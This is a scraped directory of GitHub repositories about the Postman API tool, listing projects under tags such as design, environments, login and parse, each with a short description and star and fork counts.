00:02:04 Using User Information 00:02:48 Bypassing Login In Development 00:03:11 Query String Parameters 00:02:34 Auth Cookies 00:02:17 Last Thoughts 00:05:45 Publisher: Infinite Skills Release Date: March 2016 ISBN: 9781491958933 Running time: 4:09:49 Topic: Node.js 4 stars 4 watchers 5 forks
Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
Developer-Autodesk/design.automation.3dsmax-postman-tutorial
automat, automation, design, tutorial 		Design Automation for 3dsMax tutorial with Postman 1 stars 1 watchers 1 forks
boffey/postman
client, client side, design, designed, form, plugin, program, validation 		A jQuery form validation plugin designed to help programmers validate client side forms 1 stars 1 watchers 1 forks
api-evangelist/api-governance-postman-collections
collection, collections, design, designed, governance, list, managed 		These are Postman collections designed for applying API governance to APIs being managed using Postman. 1 stars 1 watchers 0 forks
Developer-Autodesk/design.automation-postman.collection
automat, automation, collection, design 		Postman collection for Design Automation 0 stars 0 watchers 2 forks
HathemAhmed/Spread_Bot
design, designed, message, send, site, spec 		Spread Bot is a postman designed to send a specific message to a large number of sites 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
teamcasper/dog-match
backend, cost, design, designed, form, format, front end, information, location, match, mongo, test, tested 		Group project for Alchemy's code lab 401. It was designed for potential buyers and sellers to provide dog information such as cost, location, breed, etc. It was built using Node and mongoDB on the backend, and tested with postman and Heroku on the front end. 0 stars 0 watchers 2 forks
jreimao/api-culinary-recipes
design, designed, recipe, rest, restful, user, users, util 		api restful foi desenhada para gerir 'receitas de culinária' e os seus utilizadores | api restful is designed to manage 'culinary recipes' and their users 0 stars 0 watchers 1 forks
cmullins777/REST-API
course, data, database, design, model, modeling, persistence, register, retrieve, route, routes, school, test, testing, user, users, validation 		A school database where registered users can retrieve, add, update, and delete courses in the database. This project uses REST API design, Node.js, and Express to create API routes, and the Sequelize ORM for data modeling, validation, and persistence, as well as Postman for testing. 0 stars 0 watchers 0 forks
kevinvandecar/3dsMax-design-automation-postman-tutorial
automat, automation, design, tutorial 		Tutorial for Design Automation API using postman 0 stars 0 watchers 0 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
CarlosBrignardello/design-postman-2020
description, design, script 		No description available. 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
Archana-design/TestRepositary
design, repositary, test 		This is a test repositary created by Postman 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
Bikachu/MongoDB-REST-API-design
desgin, design, function, functions, test 		This project use MongoDB and REST api to desgin a simple API to implement GET, POST, PUT and DELETE functions, use POSTMAN to test the functions 0 stars 0 watchers 0 forks
codechavez/Postman
class, design, facade, mail 		Email SMTP class using basic facade design pattern 0 stars 0 watchers 0 forks
GalinGeorgiev92/CinemaAPI
decorator, design 		Rest API using decorator design pattern and separation of concerns. ASP.NET 4.8, Entity Framework, Postman. 0 stars 0 watchers 0 forks
karthikeyaJ/MessengerApp
design, designed, document, sample, service, test 		Developed RESTful APIs with JAX-RS. Built a sample Social Media API (JAVA EE) Developed a sample REStful web service, designed the API’s, implemented using Jersey and deployed using Tom cat Server. Made use of Postman Client to build, test and document the API. 0 stars 0 watchers 0 forks
lilitam/stores_rest_api_test
case, cases, design, designed, python, rest, store, stores, test 		Rest API - test cases designed in python and with Postman 0 stars 0 watchers 0 forks
liyingxiu/quest
client, design, development, material 		A very simple postman-like api client using material design. It is still in its early stages of development 0 stars 0 watchers 0 forks
lucasjellema/workshop-api-rest-json-Node-JS
basics, design, designed, implementation, json, rest, workshop 		Two to three day workshop on REST API and JSON, HTTP basics, Node and Server Side JavaScript and the implementation of a self-designed API. Tools used incude Google Chrome, Postman, Visual Studio Code, Apiary.io and Node 0 stars 0 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks
vv-myst/Promotional_Campaign_Server
collection, design, document, documents, test, test suite, tests, unit 		A collection of all the API design documents, code and unit tests in C# and Postman test suite 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks
zyzz19951230/RequestSimulator
design, designed, development, program, python, server, simulate, simulates, test, tests 		A python program that simulates request to a server and handle its response just like Postman, it‘s designed to run tests for web developments. 0 stars 0 watchers 0 forks

environments (28 listings) (Back to Top)

bunq/postman
collection, environment, environments 		Postman collection and environments 16 stars 16 watchers 3 forks
Advsol/iMISRESTCollection
access, endpoint, endpoints, environment, environments, interface 		Collection of endpoints and environments used to access the iMIS RESTful interface 4 stars 4 watchers 1 forks
DannyDainton/basic-newman-slack-bot
collection, collections, environment, environments, express, newman, slack, straight 		A basic express app that allows you to run Postman collections against different environments with Newman, straight from Slack. 0 stars 0 watchers 6 forks
adamenagy/MyPostmanCollections
collection, collections, environment, environments, related 		Postman related collections and environments 0 stars 0 watchers 5 forks
ashishksingh/postman_collection_for_oci_rest
collection, environment, environments, rest 		Postman Collection and environments for Invoking Oracle OCI REST APIs. 0 stars 0 watchers 5 forks
smallcampus/postmgn
collection, collections, environment, environments, export, import, postman collection, postman collections, tool 		A tool that helps import and export postman collections + environments 2 stars 2 watchers 0 forks
cmgrote/ibm-igc-postman
collection, collections, environment, environments, form, format, interacting 		Postman collections and environments for more easily interacting with IBM Information Governance Catalog's REST API 0 stars 0 watchers 2 forks
castle/postman
collection, collections, environment, environments 		Postman collections and environments 1 stars 1 watchers 0 forks
FRINXio/Postman
collection, collections, environment, environments, instruction, struct 		The API for Frinx. Contains Postman collections and environments. See README below for usage instructions. 1 stars 1 watchers 0 forks
nickrusso42518/postman
collection, collections, environment, environments, sort 		Assortment of Postman collections/environments 1 stars 1 watchers 0 forks
api-evangelist/environments
environment, environments, generating, list, rating, token, tokens 		This is a project for generating tokens and Postman environments. 1 stars 1 watchers 0 forks
luciansr/update-postman-environment
environment, environments, spec 		Script to update all your Postman environments with a specific key-value 1 stars 1 watchers 0 forks
polarbase/docker-newman
docker, environment, environments, gitlab, image, newman, running 		Docker image for running newman in (gitlab)-ci environments 0 stars 0 watchers 2 forks
darkestpriest/postman-environment-generator
config, configuration, environment, environments, generate, generates, generator, library 		A library that generates environments for postman using a simple configuration 0 stars 0 watchers 1 forks
ntiss/postmanToStoplightConverter
collection, collections, convert, converts, environment, environments, light, tool 		This tool converts Postman collections (or environments) to Stoplight collections (or environments) 0 stars 0 watchers 1 forks
timrsfo/postman-magento
agent, collection, collections, docker, dockerized, environment, environments, implements, magento 		dockerized-magento 1.9x implements OAuth 1.0a REST Api. Postman environments, collections 0 stars 0 watchers 1 forks
allenheltondev/newman-pro
collection, collections, environment, environments, newman, pull, test, version 		Newman Runner that uses the Postman-Pro api to pull the latest version of your collections and environments 0 stars 0 watchers 0 forks
brodoyoueventest-io/openweathermap
collection, collections, environment, environments, event, test, testing, weather 		Postman collections and environments for testing the OpenWeatherMap API 0 stars 0 watchers 0 forks
bt-dd/Postman_WorkSpace_Downloader
collection, collections, environment, environments, fetch, workspace 		Recursively fetches all Postman collections/environments by workspace using the Postman API 0 stars 0 watchers 0 forks
coding-eval-platform/postman
coding, collection, collections, environment, environments, form, platform 		Repository containing postman stuff, such as collections and environments 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
flaviostutz/postman-runner
environment, environments, integration, local, runner, running, script, scripts, test, tests, tool, tools 		Container with tools for running Postman scripts for integration tests on local or CI environments 0 stars 0 watchers 0 forks
kytmanov/postmanBackup
automat, automatic, automatically, collection, collections, environment, environments 		Export Postman collections and environments automatically 0 stars 0 watchers 0 forks
nobitagit/postman-tester
environment, environments, test, tester, variable, variables 		Repo to test Postman environments and variables 0 stars 0 watchers 0 forks
Salling-Group/backup-postman
backup, collection, collections, download, environment, environments, to do, tool 		CLI tool to download Postman collections and environments for backup or migration purposes 0 stars 0 watchers 0 forks
SourceHorse/Postman
collection, collections, environment, environments 		Postman collections and environments 0 stars 0 watchers 0 forks
valbanese/postman
collection, collections, environment, environments 		Postman collections and environments 0 stars 0 watchers 0 forks
xadamxk/Postman-to-Neoload-as-Code-Converter
collection, collections, convert, environment, environments 		A POC to convert Postman collections/ environments to a Neoload-as-Code project 0 stars 0 watchers 0 forks

login (27 listings) (Back to Top)

themesanasang/postmanage_mt
login, theme 		จัดการข้อมูลส่วน mt ที่ส่งมาจากการ login hotspot 4 stars 4 watchers 9 forks
RachellCalhoun/craftsite
django, ember, favorite, file, image, images, login, message, posts, profile, site, unit, upload 		This is a crafts and food community site. There is sign-up/login and out. Logged in members can message eachother with Postman-django app. All members create their own profile with image, and info. They can also upload favorite craft/food images, comment on others posts or ask questions. 1 stars 1 watchers 2 forks
esm2017tarun/node.js-and-mysql-login-and-registration-using-crome-postman-
api blueprint, asyncapi, description, json schema, login, mysql, node, oauth, openid, registration, script, sql 		No description available. 1 stars 1 watchers 1 forks
sonali-developer/SmackApplication
application, background, chat, clone, creation, data, design, designed, developer, display, email, fetch, fetching, file, files, form, generating, host, hosting, includes, library, local, login, lots, mail, message, messages, model, models, namely, node, play, playing, profile, rating, real time, register, registration, saving, script, select, selection, send, service, sets, store, talk, user, users 		App Description: A clone of chat application namely Slack. It is a full fledged and professional looking ready to publish app on Appstore. It allows first time user to register by providing unique username, email and password along with selection of Avatar and Avatar's Background color; login using registered email and password, participate in channels available for chat, create new channel by adding users, perform live chat with other users of this app, can even logout, and so on. • Built using Xcode 9, Swift 4, Cocoa pods, node.js, MongoDB, Heroku, Postman, etc. for iOS 11 based iPhones and iPads. • Local Frameworks used includes Foundation, UIKit and other API's like Alamofire, SwiftyJSON, SocketIO, REST, SWReveal, etc. • Demonstrated the use of Networking in iOS. • Implemented Web Request creation in Xcode using UIKit, APIs, node.js and Mongo dB online. • Implemented Web service API hosting online using Heroku and local hosting using Postman. • Implemented user creation and real time talking using Socket Technology through SocketIO library. • Implemented Web Service for User Registration, Authentication & Login, Channels Creation & display, fetching, sending and saving text messages and many more. • Implemented Table Views, Collection Views & custom design of their cells using data models. • Implemented side menu for the display of user profile and channels using SWReveal and Gradient color design code for providing gradient color background to this side menu. • Implemented creation of two XIB's for Channels creation and profile view’s popUp. • Implemented SegmentedControl for displaying 28 Dark and Light Avatar displays and code for generating Avatar’s background color on user registration screen. • Implemented Input Accessory View for Text field. • In all designed around eight View Controllers and their corresponding storyboard file for GUI design, Four Services, two custom cells, seven view files, two model files and lots of assets and so on. 0 stars 0 watchers 2 forks
shamsher327/D7_post_man_collection_sample
auth, collection, example, login, sample, send 		Post request example for sending auth request after login using POSTMAN 0 stars 0 watchers 1 forks
ahazbhatti/Cryo-Login-Page-
customer, login, material, test, testing 		Cryo Innovations Login Page - Made in React for customer login, using material UI, JSX, and testing API with Postman, 0 stars 0 watchers 0 forks
NriqueIsCoding/laravel_api_register_login
auth, authentication, implementation, laravel, login, passport, register 		This is a basic implementation of an API using Laravel and passport for authentication. Tested using postman 0 stars 0 watchers 0 forks
tomashchuk/booking
auth, authorization, book, booking, heroku, http, https, login, register, test, testing 		REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. 0 stars 0 watchers 0 forks
Jasmynwd123/auto_login_ihrm_postman04
description, login, script 		No description available. 0 stars 0 watchers 0 forks
Jasmynwd123/auto_login_postman_03
description, login, script 		No description available. 0 stars 0 watchers 0 forks
JubenalCasCon/autenticacionlarabel
laravel, login 		Sistema de login laravel con autenticación probado con postman 0 stars 0 watchers 0 forks
oscarceko/postmanlogin
description, login, script 		No description available. 0 stars 0 watchers 0 forks
ranjithraji/login-reg-node
connected, login, mongo, mongod, mongodb, node 		mongodb and postman connected on node login 0 stars 0 watchers 0 forks
bchristopher2020/loginScreen
login 		loginScreen with Postman 0 stars 0 watchers 0 forks
ejahirdad/Laravel-Dasar
email, login, mail 		Disini terdapat Fitur login, Fitur CRUD, fitur Kirim email, Fitur REST API menggunakan Postman 0 stars 0 watchers 0 forks
FabioAnsaldi/postmanager
book, login, manager 		Simple React-Native project with Facebook login 0 stars 0 watchers 0 forks
isildur93/Simple-Auth-system
client, clients, display, express, login, method, play, signup, system, track 		Simple express app that allows you to login, signup, track session permanently and display values received via POST method. These values could be sent by ESP8266 or simply by Postman (or others REST api clients ) 0 stars 0 watchers 0 forks
Jaco1984/Spottify_Javier
dashboard, developer, http, https, login, service, spotify, token 		Aplicación como Spotiffy, para probarla necesitan el token que genera vuestra sesion "https://developer.spotify.com/dashboard/login" yo lo uso con el Postman para recogerlo y poder probarlo hay que cambiarlo en el archivo "spotiffy.service.ts" en la linea 21 despues del Bearer 0 stars 0 watchers 0 forks
judedaryl/MEAN
login, mean, registration, user 		Creating a mean stack for user login and registration 0 stars 0 watchers 0 forks
kberzinch/georgia-tech-login-postman-collection
collection, login 		Postman collection for Georgia Tech Login 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
mellyoby/login-test-for-postman
automat, automate, login, test 		automate login test for postman 0 stars 0 watchers 0 forks
nishthagoel99/restapi-shopdb
data, database, login, order, product, products, rest, rest api, restapi, signup, user, users 		A rest api made for users signup,login and to order products and then later see their products. MongoDB database is used! 0 stars 0 watchers 0 forks
patelayush/Group-Messaging
assignment, auth, authentication, connection, details, file, header, login, message, messages, returned, token 		In this assignment you will get familiar with using with HTTP connections, authentication, and implement an app to share messages. The API details are provided in the Postman file that is provided with this assignment. For authentication you need to pass the token returned from login api as part of the header as described in the Postman file. 0 stars 0 watchers 0 forks
silverbacktech/django_file_upload
django, file, login, upload, verb 		login not working in postman 0 stars 0 watchers 0 forks
warrencook6/new-login-auth-method
auth, function, functional, logging, login, method, route, routes 		Messing around logging in and having protected routes. Not fully functional, have to use postman to run it. 0 stars 0 watchers 0 forks
wilmiltoss/Login_api_rest
form, format, login, rest 		Ejemplo de login en formato api con postman 0 stars 0 watchers 0 forks

parse (25 listings) (Back to Top)

RTradeLtd/ipld-eml
data, email, mail, parse, parser, store, stores 		An RFC-5322 compatible email parser that stores data on IPFS 5 stars 5 watchers 0 forks
OKaluzny/jee-jax-rs-jsoup
parse, parser 		Simple parser, use Java EE, JAX-RS. 1 stars 1 watchers 1 forks
codeasashu/python-postman-parser
collection, parse, parser, postman collection, python, runner 		A postman collection parser and runner written in python 1 stars 1 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
job-hax/resume-parser
parse, parser, resume 		Linkedin Resume Parser in Python3 0 stars 0 watchers 2 forks
dapinitial/SimpleServer
bcrypt, initial, parse, parser, route, test, tested 		Simple Server with Authentication Middleware using Node, Express, Mongoose, MongoDB, Morgan, body-parser, bcrypt, JWT, and Passport. Boilerplate per usual, route-tested with Postman and RoboMongo. 0 stars 0 watchers 1 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
Shekhar-Shashank/Complaint-Lodging
android, api blueprint, asyncapi, complaint, data, database, design, designed, dummy, flask, front end, generator, java, json schema, lang, language, oauth, openid, parse, python, rest, restful, server, sql, sqlite, studio, test, testing 		It is an android complaint lodging app in which the front end is designed in android studio using java language. The restful API that the app interacts with is made using python flask. The database used is sqlite. And the language used to parse the data from the server is Json. For testing the requests like get and post we used postman as a dummy request generator. 0 stars 0 watchers 0 forks
chakpongchung/postman-parser
description, parse, parser, script 		No description available. 0 stars 0 watchers 0 forks
TakuCoder/postman-collection-parser
collection, description, parse, parser, script 		No description available. 0 stars 0 watchers 0 forks
vy415/postman_parser
description, parse, parser, script 		No description available. 0 stars 0 watchers 0 forks
cncal/parrot
apidoc, automat, automatic, automatically, export, exported, file, generate, json, parse, tool 		A tool used to parse json file exported from Postman and generate apidoc automatically. 0 stars 0 watchers 0 forks
codeasashu/golang-postman-parser
collection, golang, implementation, lang, parse, parser, postman collection 		A postman collection parser implementation in Golang 0 stars 0 watchers 0 forks
deeep911/Java-parser-elasticsearch
data, elastic, elasticsearch, host, hosted, local, locally, parse, parser, search, tweets 		Reads data about the tweets using Elasticsearch and SpringBoot, hosted locally hence for API usage postman needs to be used. 0 stars 0 watchers 0 forks
FernandoAlencarJr/backend-postman-expresss-cors-bodyparser-noderestful
backend, crud, express, node, noderestful, parse, parser, rest, restful 		uso para crud 0 stars 0 watchers 0 forks
imikemiller/lumen-swagger-generators
docs, generator, generators, import, imported, library, parse, parser, swagger, wrapper 		A wrapper for the swagger-php library. Does not include swagger-ui the docs JSON can be imported into Postman or another Swagger / Open API parser 0 stars 0 watchers 0 forks
martinproxy0/Zadanie_17_5
action, address, application, auth, automat, console, data, dependencies, developer, dynamic, ekspresowe, endpoint, error, example, express, file, folder, form, format, framework, function, github, host, html, http, https, index, install, intern, internal, jest, json, kazan, lang, link, list, listen, local, meta, method, middleware, model, module, modules, node, note, package, parse, parser, party, popular, problem, program, proxy, query, rake, require, role, route, routing, send, server, server., sets, source, stat, status, submit, system, test, type, updated, user, wars 		17. ExpressJS - ekspresowe tworzenie aplikacji w NodeJS Wyzwania: Dowiesz się czym jest ExpressJS Nauczysz się korzystać z routingu Poznasz czym są szablony 17.1. Wprowadzenie do Expressa Express jest jednym z najpopularniejszych frameworków dla aplikacji pisanych w Node.js. Jest bardzo lekki i pozwala na lepszą organizację aplikacji w modelu MVC. Ok, zwolnijmy. Już na samym starcie pojawiły się dwa pojęcia, których do tej pory nie omówiliśmy zbyt dokładnie: framework i MVC. Na początku przypomnijmy sobie czym jest framework. Czym są frameworki? Framework to swego rodzaju szkielet, na którym opieramy budowę naszej aplikacji. Jest pewnym poziomem abstrakcji, na której konstruujemy naszą aplikację. Czym jest abstrakcja? Abstrakcja w inżynierii oprogramowania to technika, dzięki której jesteśmy w stanie zapanować nad złożonością systemu. Najzwyczajniej w świecie nie da się myśleć na wielu płaszczyznach na raz, dlatego programiści dzielą problemy na pewne poziomy i to na nich rozwiązują mniejsze problemy. Przykładowo - programista korzystający z Reacta nie martwi się o niższy poziom abstrakcji, z którego nieświadomie korzysta używając Reacta. Korzystając z komputera także nie zastanawiamy się za bardzo co dzieje się w środku procesora czy 